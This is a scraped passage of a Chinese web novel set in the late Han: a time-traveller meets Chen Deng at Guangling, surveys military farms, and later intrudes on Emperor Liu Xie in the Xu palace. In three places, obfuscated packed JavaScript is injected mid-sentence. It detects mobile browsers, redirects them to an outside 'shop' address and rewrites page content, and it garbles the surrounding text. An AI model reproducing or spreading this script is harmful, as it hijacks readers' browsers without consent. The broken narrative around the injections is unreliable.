若换做之前所遇见的那些或是毛遂自荐、或是得友人引荐的世家子,在初来乍到的情况下,忽得郡中功曹意味不明的此问,多是要么受宠若惊,要么忧怖失色,要么迟疑不决,极少数者则精神一震,口若悬河。 虞临神色淡淡:“诚如功曹所言,愚不过初至贵地,一斑尚且未见,岂敢狂傲道窥全豹之狂言?” 陈矫捋须一笑,面上无丝毫不悦之情,甚至大大方方地对这句话表示了认同:“虞郎所言甚是,是我操之过急了。” 虞临略微垂眸,并未应答。 以他那仅是紧急补救过的文化素养,要想打这种机锋实在比较疲惫,他也懒于引经据典地绕圈子。 在又听了陈矫语焉不详的几句话后,虞临忽直截了当道:“临身无长物,才庸学浅,且常居山野,不求闻达,是以素来并无美名,不敢怀乘云起家之望。今冒昧求观郡外屯田之况,若有窥军密之嫌,还望功曹宽宏大量,宽恕小子狂妄,临便不做叨扰,暮前即离。” 显然不习惯这份迥异于旁人的平铺直叙,陈矫怔住了。 他仔细地看了神色淡然的虞临一眼,又宛如不经意地瞥了眼那多重屏风的方向,稍微斟酌了一下,坦诚道:“屯田事宜素归田官属,郡府不过过多置喙。” 虞临正要起身告辞,就听对方话锋一转,笑着说道:“近观固然不可,若只是远望,倒是无碍。” 虞临:“……” “如此便已足够,多谢功曹。” 或许是彼此的谈话目的已经达到,又或是陈矫身为功曹有繁重公务缠身,在此之后,陈矫又与虞临就荆州刘表欲害刘望之评论了几句,便以仍有事务在身为由,礼貌送客了。 这正合虞临心意。 陈矫不但当即写了文书许可,又亲自将虞临送到了大门处,又召来小吏与车夫各一名,令他们与虞临同行,往屯田地一观。 在等待轺车备好时,正漫无目的地发散思绪的虞临忽捕捉到有人不慌不忙地接近这边,遂微微掀起眼帘,稍侧过半张脸,朝斜后方看去。 在他看来,来者应是刚过而立之年。 以素色幅巾束发,身着玄色右衽长袍,袖既大且宽,黑缘领袖。 其身形称不上雄阔伟壮,在身量颀长的虞临面前更称不上高挑,气质却很是不凡,文质彬彬间隐约透出一缕勇鸷刚毅、高爽侠气。 双方视线不可避免地接触了一瞬。 虞临无动于衷,对方则是眸光微定,极短暂地怔了一怔。 旋即很快回神,唇角露出一抹浅淡笑意,主动开口相邀道:“与君同为陈功曹之客,甚是有缘。若君亦是意在出城,可愿与吾同行?” 实际上,虞临早在对方开口之前,就已经通过对方的呼吸节奏辨认出其身份了。 正是先前坐在三重屏风之后的那位。 能在郡功曹接见外人时安然坐于中堂深处,此人的身份除郡太守外不做他想。 但对方既然不开口表明,他也乐得轻松,闻言微微颔首:“多谢贤君美意。临却之不恭。” 他们默契地没有请教彼此的姓名。 不知陈太守是本身行事较为低调,只重便利,又或是为了继续在他面前掩饰身份的游戏,属下所备的非是轓车。 而是一辆装饰上稍考究些、制式上宽敞一点,但到底没有车耳的轺车。 四面敞露,在这初夏倒是凉爽轻快,稍讲究些的,便自用幕离或布巾掩面避尘即可。 虞临若无其事地坐了上去,一路上能感觉到对方偶尔投来些许玩味的视线,也权做不知。 ——多一事不如少一事。 各怀心思的二人很快由轻车带着驶出城门,大约过去一个漏刻的时间后,顺利抵达了目的地,然后神色泰然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15504715|170016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分路而行。 待登上夯土的小高台,往屯田客劳作之地遥望去后,虞临不禁蹙眉,陷入了短暂的失语状态。 ……这竟然是他前天赶路时才经过的地方。 想倒也是。 他现所处的广陵与孙策所执之丹徒一南一北,由滔滔大江分隔,直线距离绝不算远。一方若从屯次出发,算上泛舟举帆所需,也堪称朝发夕至。 既是屯田,肯定要屯在离前线与城池之间,才能在确保救援方便的同时,又能最大程度地减少补给链的损耗了。 只是他在目的地明确的情况下,赶路时可谓心无旁骛,加之当时暮色沉沉,已无田父于期间劳作,虽有士兵巡视,都被他当做是对前线的正常警戒了。 这才会为早已大大方方路过的地方,又白绕了这一大圈,生生耽误了两天时间。 虞临叹了口气,不再懊恼于这些无用的小损失,仔细观察起了耕田的状态。 这一看,他就更能理解自己之前为什么会路过耕田而不知了——撇开由官方一致提供给农夫使用的工具不提,无论是田间管理,土地利用率还是整治程度方面,都显得粗糙而原始。 当然,也不是没有可圈可点之处。 虞临注意到田地间有一处较大的蓄水用陂塘,明显是利用自然地势修建的,便能节省大量的人力物力。再看土地的坡度、土壤颜色的区别和周边植被的覆盖程度,不难得出这其中不少都是新扩出的耕地的结论,那还残留着最简单的刀耕火种法的痕迹就不足为奇了。 以此时人的角度,单纯将土壤质地和肥沃程度来进行对比,在徐州屯田的初始优势绝对比扬州大:徐州土色赤,粘而肥沃,扬州土则常年处于潮湿泥泞的状态,不太适合种植适做军粮的主流作物。 但虞临习惯接触的,却是受过重度辐射和长期污染、真正寸草不生的土壤。 以他那极宽容的标准看来,这世界上几乎没有不适合种植的土壤,只有没正确挑选的作物、又或是不清楚怎样料理土地罢了。 虞临认真巡视田地时,在他身后的小吏一边仔细跟着,一边不解地偶尔抬眼偷看前方那道昂藏修长的背影,隐隐感受到那股不作伪的真挚和隐忍的狂热,愈发纳罕。 无论他怎么看,这不过就是一群倒霉的屯田客被兵士督促着做惯常的土地修整罢了,现正是灼日炎炎,偏还无风,热得人人汗流浃背,满心只想到阴凉处赶紧歇歇。 似这般气貌逸群的君子,究竟顶着这难受的天气,聚精会神地看什么呢? 看完田地的状态后,虞临在心里渐渐有了个大致计划。接下来的时间里,他又观察了下农人的工作状态,以及分辨各阶屯田官的职责区别——当然,有郡守官在场时的状态,与其不在的状态是截然不同的,哪怕田官不受其直接辖制、亦不能免俗。 一下午的时间看下来,尽管对工作地点还未决定,虞临也已经基本确定自己的职业规划了。 恰在此时,那位特意在他面前掩饰身份的太守陈登也从另一侧走来,见到他时微微扬眉,显然有些意外。 他并未迟疑,径直上前,笑着再次相邀道:“若君此间亦已事了,可愿与某再度同车而归?” 虞临颔首:“贤君盛情,敢不从命?” 对方眉眼微弯,并未说什么,只是加深了笑意。 这次再由车夫驱使而来的,并非是来时二人所乘之轺车,而是符合秩二千石的广陵郡太守身份的轓车了。 车驾悠悠驶来,虞临也清晰无比地感受到了那道落在自己侧脸上的、不加掩饰的打量目光。 虽然不知道为什么,但对方眼下就差直接对他亮出身份、表示不打算再装了…… 虞临便配合地轻“啊”一声表示惊讶,然后向身侧好整以暇地站着的陈登正式执了一礼,态度很是恳切:“陈国虞临虞子至,不慎冒渎明府,战兢请罪,伏望恕宥。” 陈登嘴角微抽。 到底是心里有所预感,加上自己毕竟也有些理亏,他于是没有当众拆穿这份装模作样。 而是在周围人诧异的目光中,笑眯眯地一手搭上虞临的背,轻轻一推,就将人先送入了车中。 11. 第 11 章 轓车虽说具备能起一定挡泥作用的车耳,却仍是四面敞露的设计。加上前方驽马在车夫驱赶下奔驰时不断发出的噪音,便意味着车中乘客若想同彼此对话,势必要坐得极近。 这倒不显突兀。 毕竟车厢本就称不上宽敞,即便是供一郡太守所用的轓车,也至多能同时容纳四五人罢了。 虞临顺着陈登推搡的轻微力道先上了车,在里侧落座后,便见对方十分自然地紧挨着他坐下。 木质车轮刚开始滚动,不知正在想什么的陈登便侧了侧头,乌润眸光里带着了然的笑意:“烛照如子至,想必早已知晓我为何人。” 他问得开门见山,虞临回得也坦坦荡荡:“然也。” 陈登轻轻摇头,意味深长道:“不问则不答,恐非君子所为。” “府君所言在理。” 虞临神色不改,似乎未在意一府之长语带指责,还若无其事地直接用话顶了回去:“此言于府君,好似也很是适用。” 陈登不禁挑眉。 不等他再开口,虞临微抬眼睑,却并未依礼将视线维持于领下,而是直视着神色谑然的陈登,不疾不徐道:“临不才,亦曾闻‘君子有徽猷,蒸庶与属。’现子已至,使君认为如何?” 君子有德,百姓来附。 君子已至,正合子至。 听到这巧妙的双关语,陈登轻笑几声,再不掩饰愉快心情,坦然承认道:“此乃某之不是。竟蹈陈季弼之弊,以此迂辞相试。” 实在是对方的容貌气质根本无可挑剔,面对他的突然刁难,又能做到不卑不亢地据礼以答。 即便尚未有机会秉烛深谈,也已经让他心生好感。 向来直爽豪放、爱憎分明的广陵太守,便以自省结束了这场试探。 他释去锋芒,语不失亲昵道:“某观子至具奇逸卓荦之姿,择虎争之际现身此地,必有非常用意。不知某可否请教子至来意?” 虞临不假思索地回答:“不敢当府君盛誉。临此番前来,确实只意在屯田,并无他愿。” 说到这里,他向陈登拱手,简单一揖:“承诸君之泽,临夙愿得偿,不胜欣喜。若无意外,明日便将启程北上。” 这话显然出乎了陈登的意料。。 他敛了笑容,沉吟片刻,真挚承诺道:“实不相瞒,我观子至风度弘雅,威容清正,恒人莫及,甚是喜爱。又闻恭嗣言子至或有起家之意,若我愿以礼相辟,不知子至是否愿意?” 虞临不语。 平心而论,如若他的确只是一门庭没落的世家子、意在乱世中寻觅一体面地安身立命的话,这份来自郡太守的欣赏和亲口邀辟,已经很值得欣然接受了。 可惜他不是。 最重要的是,屯田事务并不归郡守管辖,而自成体系,大多受许都直接委派。 即便陈登身为太守,也不能将他擢为田官。 见虞临敛眸,似是沉思,陈登便点到为止,并未开口催促。 车驾很快便抵达了作为目的地的陈登府邸,受邀到中堂落座后,虞临抬眸看向神态悠然的陈登:“临有一事相询,不知府君可愿作答?” 陈登爽快道:“子至但问无妨。” 虞临直截了当地问:“愿请教昔日府君择主,曾以何为依据?” 显然没有料到虞临会问得这么直接,陈登明显一怔,少顷不由笑了:“起初不过为身择居,后因仕于恶虎,别无他选。” 徐州陈氏赫赫有名,于下邳一地势力根蒂深固,与本土其他望族亦是守望相助,枝附叶连。 纵无逐鹿天下之雄心,要想宗族于乱世中屹立不倒,终归无法、也无意置身事外。 只是他们先择的那位徐州主陶谦能力平庸,麾下兵马实力亦不足以与雄师争锋,择公孙瓒作同盟后又因其败落一损俱损,还受曹嵩之死牵连。 叫徐州百姓惨遭曹军兵祸,残尸之多甚至一度叫泗水为之不流。 那日萧条惨烈,如此深刻仇怨,他身为徐州望族子,岂会真的无动于衷、毫无芥蒂? 陶谦病逝后,他们仓促下所物色之继任者刘备,到底是根基过浅、实力不济,纵有两名雄才虎将也不敌吕布那并州兵马。 几番狼狈挣扎后,刘备连妻子都无法保全,无奈地依附了曹氏。 保不住徐州,便非此地明主。 在斟酌得失后,他们亦决定主动亲善曹氏。 毕竟徐州所在机要,注定躲不过群凶觊觎。而在此诸侯纵毒之时,凭徐地士族单薄之势,无异于运螳螂之斧、御隆车之隧。 于他们而言,叛吕迎曹之举无异于驱虎吞狼——赌的是曹孟德拥练实之军、有驱除吕布之能;亦在赌其于资财乏匮的状况下一旦得了徐州,便不愿舍此宝地。 而作为外来军势若想稳定,就逃不开同当地望族相善。 他因作为吕布势中内应之功受擢升为郡守,却被调离下邳故土、至广陵抵御孙策军势,既是重用,也是彼此心照不宣的提防。 陈登并不在意这些交换。 只要自己能守住广陵,那最心系的家乡下邳,自然也会是安全的。 虞临微微颔首。 同他之前猜想的原因一样——陈登所追随的不是曹操军本身,而是‘徐州主’。 确切地说,是一位不至于滥用民力、有能力保徐境平安的能主,而不是一位只知粗暴索取的军阀。 陈登轻笑,明知故问道:“此番回答,可叫子至失望了?” 虞临不解道:“府君推心置腹,临只觉感激不尽,何来失望一说?况府君所言,我亦深以为然。” 陈登所信奉的追随强盛者这点,倒是跟他的想法有几分接近。 到底是谁坐在那个位置上,对他而言,一直是最无关紧要的。 他所定下的第一阶段目标,是希望尽快结束乱世,好最小化兵灾动乱给黎庶带来的苦难。 为了效率,就无法花费过多时间精力去物色、再从零开始扶持一位主公——尤其生命脆弱无常,再崇高的道德水平都显得虚无缥缈,不如稳定的基本盘可靠。 听了虞临的回答后,陈登不禁朗声大笑了几声。 他越看虞临,越觉心喜。 于是先将坐席与虞临的亲密地并做一处,旋即自然地执起对方一手,由衷感叹道:“子至,子至,何相见之晚也!” 虽然来到这个世界已有数月,又有了与诸葛亮同起同住的经历,虞临还是没能习惯这边密友间动辄抚手拍背的做法。 几乎是陈登将草席拽近时,他那原本虚搭在案几上的手就险些本能地发动了攻击,只艰难地克制住了。 对自己躲过的一场危机毫无所察,陈登兀自道:“若我所料不差,今日我应是留不下子至了。” 虞临一直不由自主地盯着他握着自己的那只手,时刻抑制着强烈的攻击欲望,说话便显得慢条斯理:“蒙府君厚爱,临心下惶恐,实不敢当。” 陈登忍笑。 他可一点都不信面色始终毫无波澜的虞临,口中所说的“惶恐”。 他惋惜道:“果真叫我言中。可惜衙署里尚有急务有待处理,错失为子至设宴践行良机。” 虽说如此,他也不急着回到衙署,而是又问起了虞临:“子至既曾救望之于囹圄,恐于之前便已周游四海,历观诸侯。” “倒不至于。”虞临实话实话:“仅见过数位。” 陈登笃定道:“子至应未尝见表。” 据他对那位素未谋面的荆州牧的了解,其拔擢人才首重形容品貌,次重士林名望。 按刘表的标准,虞临虽不知为何名声不显,却再契合另一条不过了。 单是凭借令人见之忘俗的形容气貌,哪怕多少会被门第限制、不受重用,也绝不至于谋不得一官半职。 只是以刘表心胸之狭隘难容人,再以虞临之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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即使没有爱只身犯险的毛病,孙策身上也有个难以描补的重大缺陷——他对抵抗自己的世家大族几乎从不怀柔拉拢,而大多采用不配合就赶尽杀绝的暴戾手段。 当冠盖之族清楚自己面临的恐怕只有灭顶之灾后,必须不计代价地顽抗到底。 在豪族横行,世家势大,知识分子所形成的官宦阶层长期遭其垄断的情况下,这么急切地举起屠刀,绝不是明智之举。 听到这里,陈登不禁有些诧异。 接触到虞临投来的疑惑目光后,他解释道:“今闻子至所言,竟与奉孝昔日所评一般无二,果真英雄所见略同。” 只不过,郭嘉评价孙策时不仅提到了‘轻而无备’,更是轻蔑地预言其‘必死于匹夫之手’。 ——陈登不得而知的是,虞临之所以没说得这么具体,是因为他已经亲眼见过那样的情景。 捕捉到陌生的人名,虞临顺口一问:“奉孝?” 那又是谁? “奉孝为司空府上军祭酒,有奇谋远量,深受主公器重。”陈登莞尔道:“待子至北上,或许便能见到他了。” 说到这里,他忽然想到什么,于是说:“不过在此之前,我更建议子至先同令君见上一面。” 第二次听人提到“令君”,虞临脑海里率先浮现的就是那缕萦绕不去的香气,然后被勾起了一点点好奇心。 他随口问道:“府君口中所言‘令君’,可是姓荀?” “正是。” 陈登语气笃定,隐带钦佩:“令君举贤识才之能,可谓当世无二。受令君所荐者,或正身洁己、忠正无邪,或权略多奇、英才俊逸,从未闻庸碌素餐者。” 噢。 如果是真的话,那个闻起来香香的人倒是挺厉害的。 ——虞临懒洋洋地想着。 12. 第 12 章 说到这里,陈登忽心生一念。 虽是临时起意,历来雷厉风行的他当下就命人取来笔墨,潇洒挥毫,当场写就了一封推荐信,交到虞临手里。 “某虽不才,同令君亦曾有数面之缘,应有些薄面。”他口吻轻松道:“此信寻常,或可助子至省去一些琐务。” 似是知道虞临想要拒绝,他又补充了句:“还望子至收下。” 曹营众皆知司空素对荀令君极为敬重,在同劲敌袁冀州官渡对阵的关键时刻,连天子所在的许都交予对方坐镇,军机要事也不忘去信对方,征询意见。 荀彧亦不负所托,居中持重,当其劳剧,夙夜不懈。 若有难得闲暇,则替主寻觅贤才,无私予以举荐。 可想而知,诸多士子徘徊于许都,无不渴盼见上这位可辨识千里马的伯乐一面,好在风头正盛的曹营谋得一官半职。 荀邸门前长期车马盈门,倘若只似寻常士人般向仆役递上木谒,恐怕要候上许久。 现有下邳陈氏、一郡太守的亲笔信在手,待遇便截然不同了。 虞临考虑片刻,大大方方地收了下来:“多谢府君。” “举手之劳,不必言谢。”陈登莞尔,玩笑道:“日后当谢我者,另有他人。” 若他所料不差,以文若之折节爱士,但凡亲眼见上虞临一面必将心喜,届时便会写信相谢。 虞临不明所以,也未去细想他话中玄机,将信熨帖地收好了。 眼看着自己要回衙署继续处理公务,下次再见虞临不知将待几时,陈登既是不舍,又有些意犹未尽。 又拖延了一小会,他不得不要告辞时,忽然想起一事,温声问道:“我观子至未带家眷,亦不似携有仆役奴婢。北上途中,难免受琐务所劳,甚是不美。若子至不嫌,我愿以二十健仆相赠。” 毕竟正逢乱世,各地生民废业,饥馑流亡,又有寇贼纵横,处处麋沸,纵武勇超群者也不敢随意托大,多选择结伴上路。 那些家道中落、囊中羞涩的衣冠子弟,则要么临时购入些为讨一口饭吃而自愿为奴的仆从充数,要么选择依附本地有血脉亲缘的望族,好随其车队远行避难。 似虞临这孑然一身,腰间仅配一剑,无畏行走于乱世者,饶是见多识广如陈登,也是闻所未闻。 虞临不假思索地拒绝了:“谢过府君,只是我素好清净,更喜独行,不得不辜负府君美意了。” 作为异世来客,他无意同任何人长期朝夕相处,徒添不必要的羁绊。 况且,以此时人的体质要想追上他的正常行进速度,那恐怕连骑快马都无法赶上。 陈登微微蹙眉,欲言又止。 但见虞临从容自若,无丝毫勉强的神态,又想起刘望之所醉心描绘那风姿逸群的剑侠之姿,忍住了规劝。 他叹了口气:“既子至心有成算,我也不便多劝。只是此去山高路遥,子至务必珍重自身。” 末了,又惋惜地补充了句:“待下回相见,必要以珍馐佳酿好生招待子至,叫尝尝那鲜美之至的鱼鲙不可。” 虞临并不知鱼鲙为何物。 但见分别在即,此事于日后实现的可能性也微乎其微,便随口应下了。 离开陈邸时,虞临想到明日便将离开,于是未选择乘车,而是选择了步行,想好好看一下这座城市的气貌。 或许是因为战前警戒、基本杜绝了外来商旅进城的缘故,原本只供车马通行的弛道中心如今只见零星车驾,空出来的地方自然就被行人占据了。 偶有巡逻的兵士路过,也只是象征性地进行了一些驱赶,空出够两辆车驾通行的程度,并未对行人进行任何处罚。 虞临仔细地观察了一下脚下的弛道,确定只是夯土所筑,但很是平整,可见是经常受到精心修整的。 按他昨晚俯瞰的结果,这里的大体规划同他所去过的多数城池的相差不远,以官署为中心,正对的城门是最宽阔的,街巷群则呈经纬分布,八街九陌纵横交错,宛如棋盘上的纹路。 不论是陈登的宅邸,又或是刘氏兄弟购置的住宅,都位于居者非富即贵的中心区域,极近衙署。 虞临不急不慢地走出了富人区,到米市的多家店铺查看了当地的粮价。 所售五谷以大豆居多,价格倒是比他在荆州所见的低上许多,购谷者面上也少见囊中羞涩的愁苦。 虞临心念微动。 尽管世人常以艳羡口吻论起荆襄之祥和富庶,但光从粮价这点,就能看出曹营屯田策的成效,也可见郡守的治理有方。 只是新麦未熟,店里可见的存货并不算多。 若是官渡战事继续僵持,月底将熟的豆麦也只能解一时之急,待军粮吃紧,远在广陵城的粮价也势必要一路攀升了。 天色渐暗,城中也迎来了最热闹的时刻:虞临注意到,卖吃食的小摊就像雨后的变异蘑菇一样,一颗颗争先恐后地冒了出来,许多还带着让人食指大动的香气,勾动着饥肠辘辘的行人的馋虫。 待到天彻底黑下来,集市就需得关闭,重归寂静了。 虞临也说不上为什么,自从来到这个陌生的世界后,他最喜欢看的场景,好像就是此时的集市。 带着食物香气,活人喧嚣。 是生气勃勃的地方。 虞临不知不觉地跟着人流走到了最热闹、香气最浓郁的吃食街上,思绪放空时,就在一个摊位前停住了。 这家人似乎来晚了一些,当旁边的摊子已经在冒食物的热气、有客人零零散散地聚过来时,他们还在闷头忙活。 一口带着扁圆腹的黑红色陶釜被男人双手提起,娴熟地套在火眼上;女人则急急忙忙地从竹筐里往外掏夹着牛粪的柴草,放于鼎肚下作为燃料;连那不到男子腰间高度的童子也未闲着,用特意洗得干干净净的手往架好的器皿里撒豆子。 “甘豆羹,香喷喷的甘豆羹哟~” 等食物终于煮上,粘稠的豆羹随着咕嘟咕嘟的水泡一个个破裂、绽放出诱人的香气时,他们也开始吆喝了。 也就是在这个时候,他们才有闲暇抬头,注意到了不知从何时起就站在他们摊前的虞临。 “这位俊郎君,可要来一碗甘豆羹?” 脸虽然被幕离遮住了,身形仪范却是挡不住的,更别提此人穿的是材质不凡的宽袖长袍,腰间还配着世家子弟间盛行的长剑。 男人眼睛一亮,直觉这是为贵客,卖力招呼着:“来一碗吧郎君,只需五个钱!” 女人赶紧补充:“不剪边的才是五个钱,剪过的要七枚!” 虞临被唤回了神。 他腹中其实并不饥饿,经过基因强化,他的能 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虞临一直一眨不眨地盯着她捧着碗的那只手,确切地说,是盯着那随着那落下的一勺勺、越攀越高的饱满豆羹。 ——“多谢。” 见这位女摊主的手莫名变得有些不稳,随时都要撒掉豆羹的架势,他索性伸手,道谢后将碗接了过来。 她木木地递了过去,甚至忘了同往常一样叮嘱一声“小心烫”。 将豆羹安安全全地捧在手里后,虞临才有闲心注意到周边莫名其妙的安静。 发生什么事了? 恰在此时,他身后那驰道上由远至近地传来一阵马蹄声,如雷湍蹴练,占道通行的路人只得一边小声抱怨着、一边朝两侧匆匆避让。 少了人群的遮挡,一共十二骑的那行人便清晰地显现在虞临的视野中。 他们神色俨然,目不斜视,显是有要务在身。 随其挥鞭催辔,良骏转瞬即至,于人流密集的集市中整齐有序地飞驰而过。 赫然是训练有素的鹰扬之校,螭虎之士。 或许就是感受到这行人身上的肃杀气息,刚还喧闹的集市上才会忽然变得安静许多。 虞临安逸地得出了结论。 和一头雾水的路人不同,他遥遥地瞥了他们胸前所佩的青翅燕尾徽一眼,一下就认出这是孙策军中徽识,旋即多少猜出了他们的来意。 应该是为休战进行谈判的使者。 在移开目光前,他不经意地一抬眸,正巧跟被护在最中间、必是为首的那人对上了视线。 许是因为身处敌城,对方原本有些刻意地板着面孔,做出一副不苟言笑的傲然姿态。 视线交汇的瞬间,那人倏然将眼睁大了。 虞临缓缓地眨了下眼。 对方看着不过弱冠,在夕阳残辉下,须发颜色尤为偏浅,体态是较为罕见的长上短下。 而这么年轻就能作为主使,不是辩才卓绝,就是主公亲戚。 目光的相触一瞬即逝,并未在虞临心上留痕。 不同于那人不断在马背上回看的别扭姿态,他漫不经心地转过身去,开始品尝那碗香气扑鼻的豆饭了。 ——这还是他头回在小吃摊上买吃食呢。 13. 第 13 章 建安五年,四月末。 许都朱阳正炽,如甑中蒸。即便入了夜,仍是燥热难忍。 伴以嘶心蝉鸣,最使人心浮气躁。 不知为何,这夜尤甚。 供宫人休憩的狭室几不透风,蒸腾暑气难捱,纵不当值,也多出庭院,或纳凉于湖畔,或稍息于廊间。 汉帝刘协亦是心烦意乱,辗转难眠。 不过他这份难熬苦闷,与夏暑却干系不大。 只要一忆起今春正月发生于殿中的那惨骇一幕,胸中仍有碎魄之痛,心亦因奇耻大辱不能平。 他如何不知,汉室之威早随疆土分崩而日益衰微,自己空有帝名,不过被困于这许县守位而已。 然自他践祚以来,面对的便是千疮百孔之朝堂,九州颠覆之乱局。 夹缝求生间,得来的不过是群枭乱政、权臣专朝下的苟延残喘。 他能忍,愿忍,可这究竟要忍到什么时候? 曹贼以司空之势,威名凌于汉尊之上,窃朝廷之名征辟群士、网罗英豪,同时大肆诛戮忠臣,连德高望重、随他颠沛流离多年,不可谓不功高劳苦的太尉杨彪亦未能幸免,险些身陨狱中。 更遑论这许都宫城内外,宿卫兵侍皆为曹氏党旧姻戚。 逢此袁曹联盟破裂,冀军大举南下,剑指中原腹地,叫那曹贼难以招架的良机,他自是不能放过。 只是那操贼——竟在耳目察觉此谋后,连那仅剩的一丝脸面亦要恶毒撕下,不但将受密诏的大汉忠臣三族尽都夷灭,连有孕在身的董贵人亦不放过! 董贵人绝望悲泣的面庞尚且历历在目,那一声声嘶声哀鸣仍犹在耳,刘协胸口阵阵发窒,喉头丝丝逸痛。 那日,纵使他不顾帝王尊严地反复哀求曹操,也未能救下她。 她哀泣声戛然而止,血泪模糊的头颅落下、血溅殿宇的时刻,一张张宿卫冷酷无情的面孔,清晰地映照出一个令他如坠冰窟的屈辱事实。 曹操所容不得的,岂会真是一柔弱妇人? 而是要展示对许都的绝对掌控力,以那颗血淋淋的妇人头颅震慑朝中汉臣,亦是意在警告他,不得再于袁军南下之际轻举妄动——更是要让他从此孤根独立,断绝朝中党援,狠狠羞辱他这废物天子的无能为力。 刘协思绪万千,呼吸随心绪起荡波动而愈发急促,侍立在外的小黄门隐有所查,连忙跣足趋入:“陛下安否?可需奴侪——” “退下!” 不等对方接近,刘协便已冷冰冰地出言驱退。 那几名真正被他所亲近、费心拉拢后堪称忠心耿耿的小黄门,早已在那日随董贵人一同命丧冰冷殿阶了。 殿中如今被替换上的,一概是忠于曹贼的奸逆,是那奸贼耳目罢了。 直到现在,他犹清晰记得自己颤步落于那血流成河的台阶上时,被厚重粘稠、仍残存逝者体温的猩红浸透丝履绸袜,连脚掌一道吞噬、染红的惊惧。 无论如何,他已是睡意全无,索性起身,对小黄门的小声劝阻视若无睹,往庭院行去。 得帝驾幸前,许地不过一小小县城,本身并无太多值得称道之处。现今所居这所谓殿宇也是近年方仓促修筑,论其宏伟奢丽,全然无法同旧都相比。 为何择许? 刘协神色木然,猜想或许是因许县距雒阳不远,并位于颍阳、颍阴、长社与阳翟之间。 而效力于曹营的那几位心腹谋士,几乎全出于这四地。 思及此处,他的唇角不禁露出一抹充满讽刺的冷笑。 也确实可笑——大汉堂堂帝王之尊,竟被视作乱臣贼子拉拢机要谋臣之馈礼! 他心中余怒熊熊,烦闷地于院中踱步几趟后,命令宫人掌灯,往御花园去。 只是平日里能让他排解些许烦闷的御园,此时已是死气沉沉。 月轮为乌障所蔽,林木轮廓稀疏模糊,四周暗沉如墨。 董贵人尸骨未寒,皇后亦倍受惊吓,除早已投身曹营外的宫人、则是人人自危。 看出刘协表情愈发不虞,随行的几名家人子赶紧上前点亮灯盏,又令膳房传来热浆,才让这阴气森森的御园添了些生气。 “都退下吧。” 尽管心中厌烦,刘协也无意对这些神色瑟缩的宫人做些什么,只冷言将他们驱赶开。 他清楚自己周边耳目众多,自正月事变后,更是一丝一毫的风吹草动都躲不开那曹贼。 哪怕这些宫人看似离开了他的视线范围,也只是在他难以发现的位置继续盯梢罢了。 “何其荒唐可笑。” 汉天子于汉宫中,却是尊严扫地,完全是身不由己,不得半点自由。 他自言自语着,饮下尚温的米浆。 浆里分明掺了蜜,他尝起来却只有苦涩。 米浆很快饮尽,他并未召来宫人倾倒,而兀自后仰些许,罕有地不顾仪态地倚于粗壮柱上,正欲遥望那被乌色蒙蔽之望舒、神游天外之时,一道随微风徐徐摇曳于暗色枝叶间的细影,正被他不经意地捕捉到了。 他怔楞片刻后,终于意识到那是什么,悚然而惊。 那分明是衣带那垂落的末梢! 在这戒备森严的许宫,竟有刺客悄无声息地潜伏在这御园之中! 或许经过多时的胡思乱想,令他对周遭的一切都充满了怨憎,连刘协自己都感到意外的是,他的第一反应不是喝破对方行踪、召来护卫,也非出于谨慎地徐徐后退,寻求护卫的庇护,而是…… 他抿了抿唇,鬼使神差地一动不动,只以尽可能不引起宫人们注意的微弱气音,询道:“汝不请自来,所图为何?” 再次叫刘协感到诧异的是,对方似乎真的听见了。 ——因为对方动了。 他一眨不眨地凝视着那道若隐若现的轮廓,见对方悄无声息地拨开了阻挡双方视线的那几根树枝,姿雅而神闲,竟丝毫没有被察觉行踪的惊惶或恼怒。 刘协稍侧了侧头。 他微眯起眼,想借着暗淡的光线,将对方的容貌看个大概…… ——说时迟那时快。 萦绕多时的乌翳蓦然散去,望舒光曜再无所挡,月辉凝华轻乘云气,润泽如水泄下,眷照于那人面庞。 足够让这位少年天子,清晰无比地看到了闯入者的长相。 对于刘协能察觉到自己的存在这点,虞临是有些意外的。 此时的宫殿守御体系,在末世所来的他眼里无疑是漏洞百出。因此,他甚至没有刻意隐匿过身形,连衣物都未曾刻意换成更隐蔽的黑色,而是很松弛地穿着白天那身新购入的月白长袍,就随意挑了个守卫轮换的空隙,一路长驱直入。 他借着宫人偷懒乘凉的空挡,通过窗户看了眼大汉天子的长相。 其郁郁寡欢,身形瘦削。一眼看去,感觉对方多少有些城府,但不够多。 再看对方这宫中势单力薄,自身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15519955|170016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难保,就将他从人选中排除了。 其实,若单论势力强盛,诸侯中非袁绍莫属。 要纯粹唯效率为先,他本该直奔袁氏。 但考虑到史书上诸多韬光养晦、以少胜多的旧例,他更倾重眼见为实,因此不惜奔波千里,直将各地诸侯与治地情景都亲眼看了个遍。 陈登为他所写的推荐信还妥善地保存着,但他宁愿抱着微小希望来看一眼刘协,也不急着投身曹营。 ——不因其他,只因袁曹这两股势力,都有过令他厌恶的屠城记录。 虞临正准备离开许宫往邺城去,却在观星辨认方向时,被刘协发现了暂时的藏身地。 